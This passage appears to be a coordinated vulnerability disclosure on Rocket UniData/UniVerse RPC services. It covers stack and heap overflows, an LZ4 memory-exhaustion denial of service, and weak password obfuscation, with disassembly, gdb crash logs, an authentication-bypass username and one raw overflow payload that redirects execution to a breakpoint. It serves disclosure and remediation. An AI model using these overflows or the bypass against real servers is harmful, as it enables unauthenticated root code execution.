We discovered a stack buffer overflow in the function U_rep_rpc_server_submain() in libunidata.so. The overflow occurs when the username and password fields are copied into stack-based buffers using an insecure strcpy-like function (u2strcpy). The U_rep_rpc_server_submain function is used to authenticate users in multiple RPC services, which means it can be exploited through multiple RPC endpoints. If successfully exploited, an attacker can write arbitrary data to the stack, including the return address, leading to pre-authentication remote code execution as the root user.

The vulnerable function (U_rep_rpc_server_submain) is accessible by at least the following API endpoints:

  • repconn (accessed as rmconn82)
  • udsub (accessed as unirep82)

We created a proof of concept for both services — repconn_stackoverflow_password.rb and udsub_stackoverflow_password.rb respectively. These will both crash the process at a debug breakpoint, which demonstrates code execution (note that this payload will only work on the exact versions that we tested; other vulnerable versions will most likely crash with a segmentation fault).

This is the same basic vulnerability as the stack buffer overflow in udadmin_server discussed above (CVE-2023-28502), but in a library function instead of in the RPC service itself. Based on function arguments in the disassembled code, the vulnerable u2strcpy calls appear to be found in the source file rep_rpc.c on lines 693 and 694. Here is the vulnerable code from U_rep_rpc_server_submain() in libunidata.so (note that you’ll see different memory addresses than these, since the library is compiled as position-independent, and we chose a base address of where it happened to load in our lab):

.text:00007FFFF728EF68   call    _uvrpc_read_packet ; <-- Reads the login message (username/password)
.text:00007FFFF728EF6D   test    eax, eax
.text:00007FFFF728EF6F   jnz     loc_7FFFF728F025 ; Jump on fail

.text:00007FFFF728EF75   mov     rax, cs:conns
.text:00007FFFF728EF7C   mov     rsi, [rax+r12+0C230h] ; src
.text:00007FFFF728EF84   test    rsi, rsi
.text:00007FFFF728EF87   jz      loc_7FFFF728F02C

.text:00007FFFF728EF8D   lea     r14, [rsp+158h+username] ; <-- Stack buffer
.text:00007FFFF728EF92   lea     rdx, aRepRpcC   ; Source file = "rep_rpc.c"
.text:00007FFFF728EF99   mov     ecx, 2B5h       ; Line number = 0x2b5 (693)
.text:00007FFFF728EF9E   lea     r13, [rsp+158h+password] ; <-- Another stack buffer
.text:00007FFFF728EFA6   mov     rdi, r14        ; dest
.text:00007FFFF728EFA9   call    _u2strcpy       ; <-- Copy the username (stack overflow)

.text:00007FFFF728EFAE   mov     rax, cs:conns
.text:00007FFFF728EFB5   lea     rdx, aRepRpcC   ; Source file = "rep_rpc.c"
.text:00007FFFF728EFBC   mov     ecx, 2B6h       ; Line number = 0x2b6 (694)
.text:00007FFFF728EFC1   mov     rdi, r13        ; dest
.text:00007FFFF728EFC4   mov     rsi, [rax+r12+0C248h] ; src
.text:00007FFFF728EFCC   call    _u2strcpy       ; <-- Copy the password (stack overflow)

Like the vulnerability we documented in CVE-2023-28502, after being copied into a buffer the password is decoded by negating each byte (although this time the decoding code is inline instead of using rpcEncrypt()):

.text:00007FFFF728EFE0 top_negating_loop:                      ; CODE XREF: U_rep_rpc_server_submain+23E↓j
.text:00007FFFF728EFE0    not     edx             ; Negate the current byte
.text:00007FFFF728EFE2    add     rax, 1          ; Go to the next byte
.text:00007FFFF728EFE6    mov     [rax-1], dl     ; Write the negated byte back to the string
.text:00007FFFF728EFE9    movzx   edx, byte ptr [rax] ; Read the next byte
.text:00007FFFF728EFEC    test    dl, dl          ; Check if we've reached the end
.text:00007FFFF728EFEE    jnz     short top_negating_loop

Again, in most strcpy-like vulnerabilities, NUL bytes will truncate the payload, which makes exploitation much more difficult; however, due to this encoding, we actually can use NUL bytes. We wrote a proof of concept for the repconn service that will cause the application to crash at a debug breakpoint:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9

[...run the proof of concept in another window...]

RPCPID=13568 - 16:16:50 - looking for service rmconn82
RPCPID=13568 - 16:16:50 - Found service=rmconn82
RPCPID=13568 - 16:16:50 - Checking host: *
RPCPID=13568 - 16:16:50 - accept: execing /home/ron/unidata/unidata/bin/repconn
process 13568 is executing new program: /home/ron/unidata/unidata/bin/repconn
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000000000401e70 in main ()

(gdb) x/i $rip-1
   0x401e6f <main+1343>:	int3

Similarly, the udsub proof of concept will also cause the application to crash at a debug breakpoint, although the address is slightly different:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9

[...run the proof of concept in another window...]

RPCPID=13733 - 16:19:41 - looking for service unirep82
RPCPID=13733 - 16:19:41 - Found service=unirep82
RPCPID=13733 - 16:19:41 - Checking host: *
RPCPID=13733 - 16:19:41 - accept: execing /home/ron/unidata/unidata/bin/udsub
process 13733 is executing new program: /home/ron/unidata/unidata/bin/udsub
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000000000402b4c in main ()

(gdb) x/i $rip-1
   0x402b4b <main+2027>:	int3

CVE-2023-28505: Post-authentication buffer overflow in libunidata.so‘s U_get_string_value() function

We discovered a post-authentication buffer overflow in the U_get_string_value() function in libunidata.so, which is accessible through the RPC service unirep82. If successfully exploited, it leads to remote code execution as the authenticated user (combined with the authentication bypass in CVE-2023-28503, this is remotely exploitable as the root user without knowing a password).

The root cause is use of the u2strcpy() function, which is a wrapper around the standard strcpy() function. According to information in the compiled executable, the unsafe function usage is in the source file rep_rpc.c at line 464 (note that, like in other snippets from libunidata.so, your address will not line up with ours):

.text:00007FFFF728EBD0 ; int __fastcall U_get_string_value(int connection_id, char *buffer, int index)
[...]
.text:00007FFFF728EC08                 mov     r8, rsi
.text:00007FFFF728EC0B                 mov     rsi, [rdx+0C230h] ; src = third string in the packet
.text:00007FFFF728EC12                 test    rsi, rsi
.text:00007FFFF728EC15                 jz      short loc_7FFFF728EC40 ; Jump if the field is missing
.text:00007FFFF728EC17                 lea     rdx, aRepRpcC   ; filename = "rep_rpc.c"
.text:00007FFFF728EC1E                 sub     rsp, 8
.text:00007FFFF728EC22                 mov     ecx, 1D0h       ; line = 464
.text:00007FFFF728EC27                 mov     rdi, r8         ; dest = r8 = rsi = second function argument (buffer)
.text:00007FFFF728EC2A                 call    _u2strcpy       ; <-- Vulnerable strcpy

When a function calls U_get_string_value(), it passes in a buffer for the resulting string, but does not pass a length value. That buffer is passed into u2strcpy, which is also unbounded, and will overflow whichever buffer is passed into U_get_string_value(). The only RPC service we observed using that function was udsub (accessed via RPC as unirep82), which passes a stack-based buffer into the function.

In udsub, the main function calls U_sub_connect (in the udsub binary), which calls U_unpack_conn_package (in the libunidata.so library), which calls the vulnerable function U_get_string_value (also in the libunidata.so library). Here’s a stack trace to help clarify (unfortunately, we don’t have source file names or line numbers for any of these functions):


Breakpoint 2, 0x00007ffff728ebd0 in U_get_string_value () from /.udlibs82/libunidata.so
(gdb) bt
#0  0x00007ffff728ebd0 in U_get_string_value () from /.udlibs82/libunidata.so
#1  0x00007ffff7202259 in U_unpack_conn_package () from /.udlibs82/libunidata.so
#2  0x000000000040361f in U_sub_connect ()
#3  0x00000000004023ea in main ()

We wrote a proof of concept, udsub_stackoverflow_get_string_value.rb, which will overflow the buffer and crash the process while attempting to return from U_unpack_conn_package to the address 0x4242424242424242:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

[...run the proof of concept in another window...]

RPCPID=14678 - 16:37:31 - looking for service unirep82
RPCPID=14678 - 16:37:31 - Found service=unirep82
RPCPID=14678 - 16:37:31 - Checking host: *
RPCPID=14678 - 16:37:31 - accept: execing /home/ron/unidata/unidata/bin/udsub
process 14678 is executing new program: /home/ron/unidata/unidata/bin/udsub
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff72023fd in U_unpack_conn_package () from /.udlibs82/libunidata.so

(gdb) x/i $rip
=> 0x7ffff72023fd <U_unpack_conn_package+605>:	ret    

(gdb) x/xwg $rsp
0x7fffffffd558:	0x4242424242424242

Unlike the password-based overflows, we cannot use a NUL byte so we cannot reliably return to a useful address; however, more complex exploits are likely possible.

CVE-2023-28506: Post-authentication stack buffer overflow in udapi_slave

We found a post-authentication stack overflow in the udapi_slave binary, accessible through the udapi_server binary, which is accessed via the udcs service. Successfully exploiting this issue likely leads to remote code execution as the authenticated user. Due to the authentication bypass detailed in CVE-2023-28503, this is exploitable as the root user without knowing their password.

The udapi_slave binary is somewhat different from other services, because it’s not an RPC service; instead, it’s executed by an RPC service, which proxies the bodies of RPC requests with a different header. From a network perspective, it behaves identically to a standard UniRPC service, except that the messages are formatted a little bit differently internally.

The RPC message used to authenticate to udapi_serve (and therefore udapi_slave) has more fields than a typical authentication message that other services use. We documented the following fields (note that, as usual, names are usually guesswork):

  • (integer) comms_version — likely a version number, and used as part of password encoding
  • (integer) other_version — another version number, whose name we could not determine (but that only has a few valid values)
  • (string) username — this is processed slightly differently than usernames in other services, but the authentication bypass documented in CVE-2023-28503 still works, except that the username must be ::local: (an extra colon at the start)
  • (string) password — this is treated exactly like the password in other authentication messages, including the bypass documented in CVE-2023-28503
  • (string) account — an account name that’s passed into the change_account() function, which insecurely copies it into a buffer

The change_account() function, which appears to be in the file src/ud/udtapi/api_slave.c around line 1154, copies the account argument into a stack-based buffer using u2memcpy. It uses the length of the string, as provided by the user, but always copies the data into a 296-byte stack-based buffer. Additionally, because it uses memcpy and a user-defined size, NUL bytes are permitted and we can therefore use memory addresses as part of our proof of concept.

Here’s the vulnerable parts of the change_account() function:

.text:000000000040FC90 ; __int64 __fastcall change_account(int account_length, char *account)
[...]
.text:000000000040FC91                 lea     rcx, aDisk1AgentWork_0 ; filename = "/disk1/agent/workspace/ud_build/src/ud/"...
[...]
.text:000000000040FC9B                 mov     r8d, 482h       ; line = 1154
.text:000000000040FCA1                 mov     rdx, rbp        ; length - length of the user's `account` string
[...]
.text:000000000040FCAC                 lea     rbx, [rsp+138h+account_name_copy] ; 296-byte buffer
.text:000000000040FCB1                 mov     rdi, rbx        ; dst = 296-byte buffer
.text:000000000040FCB4                 call    _u2memcpy

We wrote a proof of concept in udapi_slave_stackoverflow_change_account.rb, which crashes the service at a debug breakpoint (assuming it’s the exact version we tested; otherwise, it will likely crash with a segmentation fault). Note that due to the fork, we have to set follow-fork-mode to child ingdb; otherwise, we won’t see the child process crash:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9

[...]

(gdb) set follow-fork-mode child

(gdb) run

Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

[...run the proof of concept in another window...]

RPCPID=15389 - 16:50:43 - accept: execing /home/ron/unidata/unidata/bin/udapi_server
process 15389 is executing new program: /home/ron/unidata/unidata/bin/udapi_server
[...]
[Attaching after process 15394 fork to child process 15394]
[New inferior 2 (process 15394)]
[...]
process 15394 is executing new program: /home/ron/unidata/unidata/bin/udapi_slave
[...]

Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to Thread 0x7ffff7fe5780 (LWP 15394)]
0x00000000004007b1 in ?? ()

We can also skip all the RPC stuff by running udapi_slave directly and sending the payload on stdin (this will only work if you already have shell access to the service, so it’s not a useful exploit):

[ron@unidata bin]$ echo -ne "\x01\x00\x00\x00\x7c\x01\x00\x00\x05\x00\x00\x00\x41\x42\x43\x44\x00\x00\x00\x00\x41\x42\x43\x44\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x03\x00\x00\x00\x0b\x00\x00\x00\x03\x00\x00\x01\x30\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00\x05\x74\x65\x73\x74\x74\x65\x73\x74\x3a\x3a\x6c\x6f\x63\x61\x6c\x3a\x76\x6b\x6b\x70\x3e\x34\x3e\x35\x36\x37\x30\x58\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xb0\x07\x40\x00\x00\x00\x00\x00" | ./udapi_slave 0 1 2

[...]
Trace/breakpoint trap

Because this overflow is in u2memcpy instead of u2strcpy, NUL bytes are permitted and therefore this is likely to be exploitable.

CVE-2023-28507: Memory exhaustion DoS in LZ4 decompression

We found a way to exhaust large amounts of memory in the LZ4 decompression function in the unirpcd daemon. The memory is immediately freed after the decompression ultimately fails, so this is not a major attack, but we decided it was worth documenting since a sustained attack using this technique may use a lot of server resources.

UniRPC messages can be compressed using LZ4 compression by setting a flag in the header. The decompression function is called LZ4_decompress_safe, and is found in the unirpcd executable. It appears that LZ4_decompress_safe doesn’t distinguish between "invalid data" and "buffer too small". When the function fails, the UniRPC code expands the buffer and tries again — over and over until it requests an enormous amount of memory and the allocation fails, at which point the process ends with an error code.

Here’s the code in question, from unirpcd:

.text:000000000040778B      test    eax, eax        ; eax = number of bytes decompressed (if successful)
.text:000000000040778D      jns     decompression_successful ; Jump if it's >0

.text:0000000000407793      mov     eax, cs:uvrpc_cmpr_buf_len
.text:0000000000407799      mov     rdi, cs:uvrpc_cmpr_buf_ptr ; ptr
.text:00000000004077A0      lea     ebx, [rax+rax]  ; Otherwise, double the buffer size
.text:00000000004077A3      lea     edx, ds:0[rax*8]
.text:00000000004077AA      cmp     eax, 0FFFFh
.text:00000000004077AF      cmovle  ebx, edx
.text:00000000004077B2      movsxd  rsi, ebx        ; size
.text:00000000004077B5      call    _realloc ; Allocate double the memory
.text:00000000004077BA      test    rax, rax
.text:00000000004077BD      jz      decompression_failed ; Fail if we're out of memory
.text:00000000004077C3      mov     edx, dword ptr [rsp+88h+tmpvar] ; compressedSize
.text:00000000004077C7      mov     rdi, [rsp+88h+incoming_body_ptr] ; src
.text:00000000004077CC      mov     ecx, ebx        ; dstCapacity
.text:00000000004077CE      mov     rsi, rax        ; dst
.text:00000000004077D1      mov     cs:uvrpc_cmpr_buf_len, ebx
.text:00000000004077D7      mov     cs:uvrpc_cmpr_buf_ptr, rax
.text:00000000004077DE      call    LZ4_decompress_safe ; Otherwise, try again (forever)
.text:00000000004077E3      jmp     short loc_40778B

If we run unirpcd-oneshot and put a breakpoint on the realloc function, then run that script against the server, we’ll see increasingly large memory allocations:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9

[...]

(gdb) b realloc
Breakpoint 1 at 0x402f80
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=21615 - 18:46:45 - uvrpc_debugflag=9 (Debugging level)
RPCPID=21615 - 18:46:45 - portno=12345
RPCPID=21615 - 18:46:45 - res->ai_family=10, ai_socktype=1, ai_protocol=6

[...run the proof of concept here...]

RPCPID=21615 - 18:48:08 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=21615 - 18:48:08 - accept: forking

Breakpoint 1, __GI___libc_realloc (oldmem=0x6820f0, bytes=65728) at malloc.c:2964
2964	{
(gdb) cont
Continuing.

Breakpoint 1, __GI___libc_realloc (oldmem=0x6820f0, bytes=131456) at malloc.c:2964
2964	{
(gdb) cont
Continuing.

[...]

Breakpoint 1, __GI___libc_realloc (oldmem=0x7fffd51c8010, bytes=538443776) at malloc.c:2964
2964	{
(gdb) cont
Continuing.

Breakpoint 1, __GI___libc_realloc (oldmem=0x7fffb5047010, bytes=1076887552) at malloc.c:2964
2964	{
(gdb) cont
Continuing.

Breakpoint 1, __GI___libc_realloc (oldmem=0x7fff74d46010, bytes=18446744071568359424) at malloc.c:2964
2964	{
(gdb) cont
Continuing.
RPCPID=21615 - 18:48:40 - in accept read_packet returns 13c84
[Inferior 1 (process 21615) exited with code 01]

Note that the final attempt tries to allocate an enormous amount of memory — 18,446,744,071,568,359,424 bytes, or about 18.4 exabytes, which fortunately fails on my lab machine.

CVE-2023-28508: Post-authentication heap overflow in udsub

We discovered a post-authentication heap overflow vulnerability in the udsub executable (accessed via the RPC service unirep82) that, if successfully exploited, could lead to remote code execution as the authenticated user. We caused the service to crash when it tried to free an invalid pointer after a complex subscription request. Due to the complexity, we didn’t track down the root cause of the issue, and therefore can’t say with certainty whether this is exploitable for code execution or merely a denial of service.

Note that while this requires authentication, the authentication bypass issue detailed as CVE-2023-28503 permits us to access this service as the root user without requiring a password.

We wrote a proof of concept, which demonstrates the issue; here’s what the service looks like when we run that script:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9

[...]

(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=21890 - 18:51:59 - uvrpc_debugflag=9 (Debugging level)
RPCPID=21890 - 18:51:59 - portno=12345
RPCPID=21890 - 18:51:59 - res->ai_family=10, ai_socktype=1, ai_protocol=6

[...run the script here...]

RPCPID=21890 - 18:52:06 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=21890 - 18:52:06 - accept: forking
RPCPID=21890 - 18:52:06 - argcount = 2(1: pre-6/10 client,2: SSL client)
RPCPID=21890 - 18:52:06 - looking for service unirep82
RPCPID=21890 - 18:52:06 - Found service=unirep82
RPCPID=21890 - 18:52:06 - Checking host: *
RPCPID=21890 - 18:52:06 - accept: execing /home/ron/unidata/unidata/bin/udsub
process 21890 is executing new program: /home/ron/unidata/unidata/bin/udsub
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

*** Error in `/home/ron/unidata/unidata/bin/udsub': free(): invalid pointer: 0x000000000062dd00 ***
======= Backtrace: =========
/lib64/libc.so.6(+0x81329)[0x7ffff4b61329]
/.udlibs82/libunidata.so(U_unpack_conn_package+0x66e)[0x7ffff720280e]
/home/ron/unidata/unidata/bin/udsub[0x40361f]
/home/ron/unidata/unidata/bin/udsub[0x4023ea]
/lib64/libc.so.6(__libc_start_main+0xf5)[0x7ffff4b02555]
/home/ron/unidata/unidata/bin/udsub[0x4033de]

CVE-2023-28509: Weak encryption

We found several different places where encoding or obfuscation happens in UniRPC communications where the intent appears to be encryption (based on the name or context). At best, they’re a simple encoding that hides data on the wire from the most naive eavesdropping (like negating each byte in a password); at worst, multiple layers of this obfuscation can cancel out the obfuscation entirely, or even enable other attacks to work by encoding NUL bytes.

Here, I’ll list a few encryption issues that stood out while working on this research project. We implemented these throughout libneptune.

Encryption bit in UniRPC packet header

The UniRPC packet header is 24 (0x18) bytes long, and is composed of the following fields (we don’t have the official names, so these are guesses based on context):

  • (1 byte) version byte (always 0x6c)
  • (1 byte) other version byte (always 0x01 or 0x02)
  • (1 byte) reserved / ignored
  • (1 byte) reserved / ignored
  • (4 bytes) body length
  • (4 bytes) reserved / ignored
  • (1 byte) encryption_mode
  • (1 byte) is_compressed
  • (1 byte) is_encrypted
  • (1 byte) reserved / ignored
  • (4 bytes) reserved / must be 0
  • (2 bytes) argcount
  • (2 bytes) data length

This is implemented in the build_packet() function in the libneptune.rb library.

When set, the is_encrypted field tells the receiver that the packet has been obfuscated by XOR’ing every byte of the body with a static byte. Depending on the value of encryption_mode, that static byte is either 1 or 2.

This is not useful for encryption, if that was the intent, because all the information needed to decrypt it is in the packet header (and obfuscation in the form of XOR-by-a-constant is generally obvious to observers and is very easy to decode).

Password encoding in udadmin_server

The first message sent to udadmin_server requires three fields:

  • (integer) opcode (always0x0F / 15)
  • (string) username
  • (string) encoded password

The opcode is an integer value that doesn’t change — no value besides 0x0f works. The username is a standard string. The password, however, is passed into a function called rpcEncrypt() after copying it into a buffer. In that function, each byte of the string is negated with the logical not function (ie, binary 0 becomes 1 and 1 becomes 0).

Again, an easily reversible operation (that is also fairly obvious to inspection) does not provide any level of security. This is also directly responsible for CVE-2023-28502 being exploitable, because it allows us to encode NUL bytes as part of an overflow where that would otherwise not be permitted.

Password encoding in U_rep_rpc_server_submain()

The U_rep_rpc_server_submain() function in libunidata.so encodes passwords exactly the same way as udadmin (above), and is used by several different RPC services. It has all the same problems, including enabling strcpy()-based buffer overflow exploits to contain NUL bytes.

Password encoding in udapi_server and udapi_slave

udapi_server and udapi_slave use different (but still trivially decodable) password encodings. Instead of negating each byte like in other services, each byte is XOR’d by the comms_version field, which is a value between 2 and 4 (inclusive).

This is particularly interesting because, in a normal situation, the login message (with the literal account username / password) might have each character in the password XOR’d by 2, which looks like this:

00000000  6c 01 5a 5a 00 00 00 44  41 42 43 44 02 00 00 59  |l.ZZ...DABCD...Y|
00000010  00 00 00 00 00 05 00 00  41 42 43 44 00 00 00 00  |........ABCD....|
00000020  41 42 43 44 00 00 00 00  00 00 00 08 00 00 00 03  |ABCD............|
00000030  00 00 00 08 00 00 00 03  00 00 00 04 00 00 00 03  |................|
00000040  00 00 00 02 00 00 00 05  75 73 65 72 6e 61 6d 65  |........username|
00000050  72 63 71 71 75 6d 70 66  2f 74 6d 70              |rcqqumpf/tmp|

The literal username username is in the packet, but the password is encoded to rcqqumpf. That’s somewhat hidden, but very easy to recognize and break.

But if we then enable packet-level encryption, it can XOR the entire message by 2, then also XOR the password by 2, which effectively undoes the encoding and leaves the password (and only the password) visible:

$ ruby ./test.rb | hexdump -C
00000000  6c 01 5a 5a 00 00 00 44  41 42 43 44 02 00 01 59  |l.ZZ...DABCD...Y|
00000010  00 00 00 00 00 05 00 00  43 40 41 46 02 02 02 02  |........C@AF....|
00000020  43 40 41 46 02 02 02 02  02 02 02 0a 02 02 02 01  |C@AF............|
00000030  02 02 02 0a 02 02 02 01  02 02 02 06 02 02 02 01  |................|
00000040  02 02 02 00 02 02 02 07  77 71 67 70 6c 63 6f 67  |........wqgplcog|
00000050  70 61 73 73 77 6f 72 64  2d 76 6f 72              |password-vor|

This obviously isn’t an enormous issue, since the passwords are fairly easy to decode anyways, but encoding that undoes itself in certain situations is an interesting edge case of this type of obfuscation.

Remediation

Rocket Software has confirmed they have released patches for customers, available on the Rocket Business Connect portal. If you are running Rocket UniData or UniVerse, the Rocket MultiValue team strongly advises you to upgrade to the latest hotfixes. Specifically, Rocket Software has indicated the patched versions are:

  • UniData 8.2.4 build 3003
  • UniVerse 11.3.5 build 1001
  • UniVerse 12.2.1 build 2002 (available April 14, 2023)

Timeline

  • December, 2022 – January, 2023: Issues identified by Rapid7 researcher Ron Bowes
  • January 24, 2023: Privately disclosed findings to Rocket Software’s VDP per Rapid7’s CVD policy
  • March 2, 2023: Rocket Software confirmed that they are working on patches and are on track to meet our proposed disclosure date
  • March 29, 2023: Coordinated release of Rocket Software and Rapid7 disclosures (this document)